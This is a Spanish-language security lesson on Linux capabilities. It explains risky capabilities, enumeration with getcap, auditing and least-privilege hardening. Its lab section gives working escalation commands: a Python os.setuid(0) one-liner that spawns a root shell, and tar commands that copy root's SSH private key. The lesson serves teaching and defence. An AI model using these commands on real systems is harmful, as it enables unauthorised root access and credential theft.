Aprende › Escalada de privilegios en Linux

Linux capabilities: qué son, cómo se abusan para escalar privilegios y cómo asignarlas bien

· 11 min de lectura

Aprende qué son las capabilities de Linux, por qué dividen los poderes de root en piezas, cuáles son peligrosas (cap_setuid, cap_dac_read_search, cap_dac_override, cap_chown, cap_sys_admin…), cómo se enumeran con getcap, cómo se abusan en un laboratorio y cómo asignarlas con mínimo privilegio.

Durante décadas, Linux tuvo una regla muy simple: o eres root y puedes hacer todo, o eres un usuario normal y no puedes hacer casi nada privilegiado. Eso obligaba a ejecutar como root, o con el bit SUID, programas que solo necesitaban un permiso especial, como abrir un puerto bajo o enviar paquetes de red.

Las capabilities nacieron para resolverlo: dividen el poder de root en decenas de piezas independientes, de forma que un programa reciba solo la que necesita. Es una gran idea de seguridad. El problema llega cuando alguien asigna una capability demasiado poderosa a un programa que permite hacer cualquier cosa, como un intérprete de Python: ese programa se convierte en una puerta directa a root, igual que un binario SUID, pero menos visible.

En esta lección vas a ver qué son las capabilities, cuáles son peligrosas y por qué, cómo se enumeran, cómo se abusan paso a paso en un laboratorio autorizado y cómo asignarlas correctamente.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Escalar privilegios en un sistema ajeno sin permiso es un delito.

Qué son las capabilities#

Tradicionalmente, el núcleo de Linux comprobaba una sola cosa antes de una operación privilegiada: ¿el proceso es root (UID 0)? Con las capabilities, en lugar de esa comprobación única, el núcleo pregunta por un permiso concreto: ¿este proceso tiene la capacidad de cambiar de usuario?, ¿de saltarse los permisos de lectura?, ¿de abrir puertos por debajo del 1024?

Root tiene todas las capabilities; un programa puede recibir solo una, pero algunas equivalen a root
Root tiene todas las capabilities; un programa puede recibir solo una, pero algunas equivalen a root

Cada capability tiene un nombre que empieza por CAP_. Algunos ejemplos:

CapabilityQué permite
cap_net_bind_serviceAbrir puertos por debajo del 1024 (por ejemplo, un servidor web en el 80)
cap_net_rawCrear paquetes de red a bajo nivel (lo usa ping)
cap_chownCambiar el propietario de cualquier archivo
cap_dac_overrideSaltarse los permisos de lectura, escritura y ejecución de los archivos
cap_dac_read_searchLeer cualquier archivo y recorrer cualquier directorio
cap_setuidCambiar el identificador de usuario del proceso, incluso a root
cap_sys_ptraceInspeccionar y modificar la memoria de otros procesos
cap_sys_adminUn conjunto enorme de operaciones administrativas (montar sistemas de archivos, entre otras)

Las capabilities se pueden asignar a archivos ejecutables (como el bit SUID, pero más fino) o tenerlas un proceso en ejecución.

Los conjuntos, explicados de forma simple#

Cada archivo y cada proceso tiene varios conjuntos de capabilities. Para empezar basta con entender dos:

  • Permitted (p): las capabilities que el proceso puede usar.
  • Effective (e): las que están activas ahora mismo y el núcleo tiene en cuenta.

Cuando ves cap_setuid+ep en un archivo, significa que el programa arranca con esa capability permitida y activa: puede usarla de inmediato. Existen otros conjuntos (inheritable, bounding, ambient) que controlan cómo se heredan entre procesos, útiles para profundizar más adelante.

Por qué es peligroso#

Una capability en un programa que hace una sola cosa es segura: ping con cap_net_raw solo puede enviar paquetes. El peligro aparece cuando una capability poderosa está en un programa de uso general: intérpretes, editores, utilidades que pueden ejecutar comandos o leer y escribir archivos arbitrarios.

Capability en el programa equivocadoPor qué lleva a root
cap_setuid en python, perl o nodeEl intérprete puede cambiar su usuario a root y abrir una shell
cap_dac_read_search en tar, cat o un intérpretePuede leer /etc/shadow o la clave SSH de root
cap_dac_override en un editor o intérpretePuede escribir en /etc/passwd o /etc/sudoers
cap_chown en un intérpretePuede adueñarse de /etc/shadow y modificarlo
cap_sys_admin en casi cualquier programaPermite montar sistemas de archivos y muchas otras vías a root
cap_sys_ptracePuede inyectar código en un proceso que se ejecuta como root

La mala práctica de fondo es la misma que con SUID: alguien quiso que un script «funcionara» y le dio un poder enorme al intérprete completo, en lugar de resolver el problema de otra forma.

Cómo se enumeran#

En un laboratorio, tras entrar como usuario normal, busca todos los archivos con capabilities:

getcap -r / 2>/dev/null

Un resultado típico:

/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/python3.10 cap_setuid=ep

Las dos primeras son normales: herramientas de red con una capability de red. La tercera es la señal de alarma: un intérprete de Python con cap_setuid.

Para ver las capabilities del proceso actual (por ejemplo, dentro de un contenedor):

grep Cap /proc/self/status
capsh --decode=0000000000000080

capsh --decode traduce el valor hexadecimal de /proc/self/status a los nombres de las capabilities.

Explotación paso a paso en un laboratorio#

Paso 1: localizar la capability peligrosa#

En un laboratorio autorizado, getcap -r / devuelve:

/usr/bin/python3.10 cap_setuid=ep

Paso 2: entender qué permite#

cap_setuid permite al proceso cambiar su identificador de usuario a cualquiera, incluido el 0 (root). Python tiene la función os.setuid() para hacerlo. Como el intérprete tiene la capability activa, la llamada funcionará aunque lo ejecute un usuario normal.

Paso 3: escalar#

/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
uid=0(root) gid=1001(estudiante) groups=1001(estudiante)

A diferencia del caso SUID, aquí el usuario real también pasa a ser root (uid=0), porque setuid(0) los cambia todos.

Otro caso frecuente: leer cualquier archivo#

Si el programa tiene cap_dac_read_search, no puedes cambiar de usuario, pero sí leer cualquier archivo. Con un intérprete o con tar, eso permite, por ejemplo, empaquetar y leer la clave SSH de root o /etc/shadow:

# Si tar tiene cap_dac_read_search
tar -czf /tmp/clave.tgz /root/.ssh/id_rsa
tar -xzf /tmp/clave.tgz -C /tmp
cat /tmp/root/.ssh/id_rsa

Con la clave privada de root podrías entrar por SSH como root; con /etc/shadow, intentar crackear los hashes. En laboratorios como EL ARCHIVERO o EL HEREDERO practicarás variantes de lectura y cambio de propietario.

Consulta GTFOBins#

GTFOBins tiene una sección Capabilities con la técnica concreta para cada binario. Es la referencia rápida cuando encuentres una capability en un programa que no conoces.

Capabilities y contenedores#

Los contenedores de Docker se ejecutan, por defecto, con un conjunto reducido de capabilities, precisamente para limitar lo que un proceso puede hacer aunque sea root dentro del contenedor. Si un contenedor se lanza con capabilities extra como --cap-add=SYS_ADMIN, o directamente con --privileged, que las concede todas, escapar al sistema anfitrión puede volverse sencillo.

Por eso, al revisar un contenedor, comprobar sus capabilities con grep Cap /proc/self/status es tan importante como en un servidor normal. La lección de /aprende sobre el grupo docker profundiza en estos escapes.

SUID, sudo y capabilities: cuál usar#

Las tres son formas de que un usuario sin privilegios haga algo privilegiado. Entender sus diferencias ayuda tanto a auditar como a elegir la opción correcta al administrar un servidor:

MecanismoQué concedeSe audita conCuándo tiene sentido
SUIDTodo el poder del propietario del archivofind / -perm -4000Casi nunca para programas propios; solo binarios del sistema diseñados para ello
sudoEjecutar comandos concretos como otro usuario, con registrosudo -l y /etc/sudoers.d/Tareas administrativas de personas, con comandos exactos
CapabilitiesUn poder concreto, sin cambiar de usuariogetcap -r /Servicios que necesitan un permiso puntual, como abrir el puerto 80

Una regla práctica: si es una persona quien necesita hacer algo privilegiado, sudo con un comando exacto; si es un servicio, capabilities mínimas asignadas desde systemd; y SUID solo para lo que ya trae el sistema. En los tres casos, el principio es el mismo: conceder el menor poder posible al programa más pequeño posible.

Cómo vigilar las capabilities#

Que aparezca una capability nueva en un archivo es un cambio de seguridad importante y debería quedar registrado. Con auditd puedes vigilar el uso de setcap y los cambios de atributos de archivos en carpetas del sistema:

# Registrar cada ejecución de setcap
sudo auditctl -w /usr/sbin/setcap -p x -k cambios_capabilities

# Consultar después los eventos
sudo ausearch -k cambios_capabilities

Complementa esta vigilancia guardando el resultado de getcap -r / en una fecha conocida y comparándolo periódicamente con el estado actual, igual que se hace con el inventario de binarios SUID.

Qué puede lograr un atacante#

ImpactoEjemplo real
Shell de rootIntérprete con cap_setuid
Robo de credencialesLeer /etc/shadow o claves SSH con cap_dac_read_search
Modificar el sistemaEscribir en /etc/passwd con cap_dac_override
Tomar procesos privilegiadosInyectar código con cap_sys_ptrace
Escapar de un contenedorCapabilities extra o modo privilegiado

Cómo se corrige#

Asignar capabilities con mínimo privilegio: solo la necesaria, en un binario de propósito único
Asignar capabilities con mínimo privilegio: solo la necesaria, en un binario de propósito único

Quitar las capabilities innecesarias#

sudo setcap -r /usr/bin/python3.10

setcap -r elimina todas las capabilities del archivo. Ningún intérprete, editor ni utilidad de uso general debería tener capabilities.

Mínimo privilegio, y en el binario correcto#

Si un servicio necesita un permiso especial, dale solo esa capability y solo al binario del servicio, nunca al intérprete. Un ejemplo correcto: permitir que un servidor escuche en el puerto 80 sin ser root.

sudo setcap cap_net_bind_service=+ep /usr/local/bin/mi-servidor

Mejor aún, en servicios de systemd puedes conceder la capability solo al servicio, sin tocar el archivo:

[Service]
User=web
AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
NoNewPrivileges=yes

Contenedores con lo mínimo#

  • No uses --privileged salvo que sea imprescindible y entiendas el riesgo.
  • Elimina todas las capabilities y añade solo las necesarias: --cap-drop=ALL --cap-add=NET_BIND_SERVICE.

Auditar periódicamente#

Ejecuta getcap -r / igual que lo haría un atacante y revisa cualquier resultado que no sea una herramienta de red conocida. Herramientas como LinPEAS también lo resaltan.

Errores comunes al defenderse#

  • Dar la capability al intérprete. Para que un script de Python abra un puerto bajo, se le da cap_net_bind_service a python3 y de paso a todos los scripts del sistema.
  • Pensar que no son tan peligrosas como SUID. cap_setuid o cap_dac_override en el programa equivocado equivalen a root.
  • Olvidarlas en las auditorías. find -perm -4000 no las detecta; hay que usar getcap.
  • Usar --privileged en contenedores por comodidad. Concede todas las capabilities y facilita escapar al anfitrión.

Preguntas frecuentes#

¿Qué diferencia hay entre capabilities y SUID?#

SUID hace que el programa se ejecute como su propietario, con todos sus poderes. Las capabilities dan poderes concretos sin cambiar de usuario. Bien usadas, son más seguras; mal usadas, igual de peligrosas.

¿Por qué ping tiene capabilities?#

Porque necesita crear paquetes ICMP a bajo nivel. En lugar de ser SUID root, muchas distribuciones le dan solo cap_net_raw, que no permite nada más.

¿Qué significa «=ep»?#

Que la capability está en los conjuntos effective y permitted del archivo: el programa la tiene disponible y activa desde que arranca.

¿Cómo encuentro las capabilities en un sistema?#

Con getcap -r / 2>/dev/null para los archivos y con grep Cap /proc/self/status (decodificado con capsh --decode) para el proceso actual.

¿Dónde practico esto?#

En los laboratorios de whoami-labs enlazados al final de esta lección, que cubren intérpretes con cap_setuid, lectura de archivos y cambio de propietario.

Resumen#

  • Las capabilities dividen el poder de root en permisos concretos que se asignan a programas o procesos.
  • Son peligrosas cuando una capability poderosa (setuid, dac_override, dac_read_search, chown, sys_admin, sys_ptrace) está en un programa de uso general.
  • Se enumeran con getcap -r / y se abusan en laboratorios con la ayuda de GTFOBins.
  • Se corrige quitando lo innecesario con setcap -r, dando solo la capability necesaria al binario correcto, usando systemd con AmbientCapabilities y limitando los contenedores.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría